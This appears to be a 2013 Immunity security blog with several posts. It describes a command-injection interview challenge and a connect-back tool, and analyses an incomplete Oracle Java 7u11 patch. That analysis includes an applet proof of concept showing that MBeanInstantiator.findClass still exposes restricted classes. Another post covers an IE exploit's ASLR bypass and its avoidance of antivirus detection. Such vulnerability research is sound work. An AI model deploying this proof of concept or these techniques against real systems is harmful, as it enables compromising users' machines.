Friday, January 18, 2013

Owning Real Things

So part of the Immunity interview process derives from real-world problems you have when hacking. The test is this: We give people a web application with a simple system("USER DATA HERE") vulnerability, and then we see if they can own the target. And by own, we mean "Have interactive access as root".

It's not hard, for people with real operator experience. Literally, 5 minutes, in some cases from butt-in-seat to "#". In most cases, however, it's hours of frustration. Look - if you can't handle a few hours of frustration in your interview you're not Immunity material probably.

The difference is partially mindset. How do you deal with transferring a file from point A to point B when there are unknown firewall rules in the way, and unknown tools on the remote box (not to mention unknown latency and packetloss issues). Let's just say, for example, that wget isn't on the box, and ftp seems blocked. Now what?

See, if SWORDFISH was anywhere near accurate, that's more the problem he would have been solving while the gun was to his head.

There are a number of options for doing the Ruby on Rails exploit - one of which is to call back as a Ruby command and build what we would call a "Shell Listener" in Ruby. Essentially, to stay in the web server process and load stage after stage of Ruby code.

This has benefits (nothing touches disk, for example), but is also subject to problems when the process times out. So eventually you want to upload another trojan, and have that trojan connect back to you. But over what ports? And how? Keep in mind you don't get to see the results of any of your commands that you run.

CANVAS includes a simple exploit type called the CommandLineExecutor which is designed for exactly this kind of problem. You just derive your exploit from this base class, provide it a simple way to execute commands, and it will execute a series of commands to get MOSDEF connectivity back to you. It is, as a New Zealander would say "Sweet As".

First, of course, it determines what OS it is on, and then it determines what directories it can write into, and then what programs it can use to upload onto that machine, and then finally, what ports it can use to get outbound. SOUNDS simple, doesn't it? It's this sort of innovation that really feeds into SWARM - which is a whole different story I'll tell later. :>





Monday, January 14, 2013

Confirmed: Java only fixed one of the two bugs.


One of things we tend to do when preparing our Java exploitation training as part of the INFILTRATE master class, is to analyze the past and the present in order to not only teach the specifics of exploitation but to build in our students their offensive "intuition".

This is an important characteristic if you want to win in the world of exploitation, because these days exploits are not served on a fresh cucumber nitro-tini but rather you will need picks and shovels to open your way into it.  

This is the case of the recent MBeanInstantiator exploit, which combines two bugs in order to remotely execute code.

And sometimes for everyone involved in the offensive world, this mean you need to look at the patch with special detail, because sometimes the vendor stops the worm/0day exploit  with a patch, but doesn't necessary fix all of the associated problems. And of course, being only human, sometimes the vendor's team just plain messes up the patch.

After further analysis of the Oracle Java patch (Java 7 update 11),  Immunity was able to identify that only one of the two bugs were fixed, making Java still vulnerable to one of the bugs used in the exploit found in the wild

The patch did stop the exploit, fixing one of its components. But an attacker with enough knowledge of the Java code base and the help of another zero day bug to replace the one fixed can easily continue compromising users. (Assuming they now use a signed Java applet - one of the other changes introduced in this patch.)

Java is indeed a constant target for attackers, and nobody should be surprised if an attacker just replaces the patched bug with a different one and starts compromising machines again. This is why it is important for Oracle and their user base to start paying special attention to each bug because with an exploitation chain as the one is needed these days, every bug matters.

Immunity this year is doing a five day long Master class at Infiltrate (April, 15-19) where we will spent a full day on Java exploitation, teaching our student how to analyze patch, understand the Java code base and how to combine multiple bugs to obtain full exploitation.  


Oracle Patch

Oracle released a patch for these 2 vulnerabilities and two different CVE's were assigned to them.
The patch for the Recursive Reflection vulnerability (CVE-2013-0422) can be seen in the java.lang.invoke.MethodHandleNatives.isCallerSensitive method:

isCallerSensitive diff between Java 7 update 10 and 11



And also sun.reflect.misc.MethodUtil class was changed to include some more checks:


 public static Object invoke(Method paramMethod, Object paramObject, Object[] paramArrayOfObject)
throws InvocationTargetException, IllegalAccessException
{
if  ((paramMethod.getDeclaringClass().equals(AccessController.class)) ||
    ((paramMethod.getDeclaringClass().equals(MethodHandles.class)) &&
     (paramMethod.getName().equals("lookup"))) ||
    ((paramMethod.getDeclaringClass().equals(MethodHandles.Lookup.class)) &&
    ((paramMethod.getName().startsWith("find")) ||
     (paramMethod.getName().startsWith("bind")) ||
     (paramMethod.getName().startsWith("unreflect")))) ||
    (paramMethod.getDeclaringClass().equals(Method.class)))
{
    throw new InvocationTargetException(
       new UnsupportedOperationException("invocation not supported"));
}

    [...]

}

However, the patch (which is Java 7 update 11) doesn't show any difference at all in the classes inside com.sun.jmx.mbeanserver package.

It appears then that the MBeanInstantiator.findClass vulnerability (CVE-2013-0422) is still there in the latest Java update.

In fact, running a simple test shows that restricted classes can still be retrieved with this bug.
A simple PoC like this can be used to see the situation:


import java.applet.Applet;
import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.jmx.mbeanserver.JmxMBeanServerBuilder;
import com.sun.jmx.mbeanserver.MBeanInstantiator;

public class Test9 extends Applet {
 public void test1() {
  System.out.println("RUNNING TEST1");
  try {
   javax.management.MBeanServer ms = com.sun.jmx.mbeanserver.JmxMBeanServer
     .newMBeanServer("test", null, null, true);

   com.sun.jmx.mbeanserver.MBeanInstantiator mi = ((com.sun.jmx.mbeanserver.JmxMBeanServer) ms)
     .getMBeanInstantiator();

   System.out.println("MBeanInstantiator = " + mi);
   Class clazz = mi.findClass(
     "sun.org.mozilla.javascript.internal.Context",
     (ClassLoader) null);
   System.out.println("clazz = " + clazz);
  } catch (Exception e) {
   e.printStackTrace();
  }

 }

 public void test2() {
  System.out.println("RUNNING TEST2");
  try {
   JmxMBeanServerBuilder sb = new JmxMBeanServerBuilder();
   JmxMBeanServer jxmMBS = (JmxMBeanServer) sb.newMBeanServer("",
     null, null);
   MBeanInstantiator mi = jxmMBS.getMBeanInstantiator();
   System.out.println("MBeanInstantiator = " + mi);
   Class clazz = mi.findClass("sun.misc.Unsafe", (ClassLoader) null);
   System.out.println("clazz = " + clazz);

  } catch (Exception e) {
   e.printStackTrace();
  }
 }

 public void init() {
  test1();
  System.out.println("--------------------------------------------");
  test2();
 }
}


The output of such code executed with Java 7 update 11 will be something like this:



MbeanInstantiator.findClass vulnerability

Over our investigation of the com.sun.jmx.mbeanserver.MBeanInstantiator.findClass and com.sun.jmx.mbeanserver.MBeanInstantiator.loadClass we found that the implementation on JDK6 and JDK7 are the same, which led us at first to the wrong conclusion that both were vulnerable. After further research we found that although the MBeanInstantiator code is the same in both versions, JDK/JRE 6 cannot be exploited.

There is a flag called com.sun.jmx.mbeanserver.JmxMBeanServer.interceptorsEnabled that determines if MbeanServerInterceptors are enabled or not and that value is set in the com.sun.jmx.mbeanserver.JmxMBeanServer constructor.

In JDK7, the public static method com.sun.jmx.mbeanserver.JmxMBeanServer.newMBeanServer(String, MBeanServer, MBeanServerDelegate, boolean) directly calls the constructor
com.sun.jmx.mbeanserver.JmxMBeanServer.JmxMBeanServer(String, MBeanServer, MBeanServerDelegate, MBeanInstantiator, boolean, boolean) where the interceptorsEnabled flag is fully controlled.

JDK6 implementation is different because it calls another constructor that ignores the flag passed to the newMbeanServer method and always sets the flag to false.
This is what is preventing an attacker from getting a MbeanInstantiator instance to then use the findClass method.

We can clearly see that the call hierarchy is different in JDK6 and JDK7

JDK7 MBeanInstantiator constructor call hierarchy

JDK6 MBeanInstantiator constructor call hierarchy



This last image clearly shows that the newMBeanServer method is calling a different constructor that sets the flag to False.

Recursive Reflection Vulnerability

The vulnerability is that the new reflection API security checks were passed because a trusted caller from the JDK (java.lang.invoke.MethodHandle) was retrieved from the frame's stack, as was explained in the analysis.

We came to the conclusion that this happened due to an error in the sun.reflect.Reflection.getCallerClass implementation that failed to skip frames related to the new reflection API, but this was not correct.

I'd like to thank Michael 'mihi' Schierl for pointing out that the reason behind the situation was not what I suspected but something else. Learning from mistakes is good :)

You can see the details in Michael's post.

Update: According to mitre.org, CVE-2013-0422 includes  the MBeanInstantiator and the Recursive Reflection issue (Even though MBeanInstantiator is not fixed on the last Java release). CVE-2012-3174 is actually for an unspecified vulnerability with no publicly known details.


- Esteban Guillardoy
  Security Research
  Immunity, Inc

Illustrating True Risk IE Edition

You're not in this business for long if you don't love exploits. The smell of 0day in the morning, so to speak. But I'm not in love with this particular CButton IE exploit yet because of the way it bypasses ASLR. There's not a lot of great options with ASLR bypasses on IE:

1. You can work hard to transform your exploit primitive into an memory peek (sometimes not possible?)
2. You can burn another bug to get your memory peek
3. You can rely on external software without ASLR that happens to be installed on a lot of machines (Office, Java JRE). The downside here is that obviously targeting Office or the JRE itself sometimes makes more sense.

We chose option 3 for the CButton exploit in CANVAS Early Updates currently.

That said, the purpose of the video below is not to demonstrate an amazing exploit against IE, as it is to demonstrate how an exploit against IE that has a known primitive, but has not been seen before in totality, still bypasses most common secondary protection mechanisms.

http://partners.immunityinc.com/movies/CANVAS-CVE_2012_4792.mov

Not mentioned in the movie is that because of the way AV's munge memory around, you will in some cases get a lower reliability out of the exploits. But you won't get caught.

In any case, hopefully you enjoy your Movie of the Day!

Friday, January 11, 2013

Java continues to wow and amaze

Each set of new Java vulnerabilities is a work of art, and we analyze them in great depth for you in this new white paper by Esteban.

https://partners.immunityinc.com/idocs/Java%20MBeanInstantiator.findClass%200day%20Analysis.pdf

We'll see if we can "bloggify" that white paper for reading by the cadre of people who don't want to load any PDF's but are comfortable running arbitrary HTML code on Monday. :>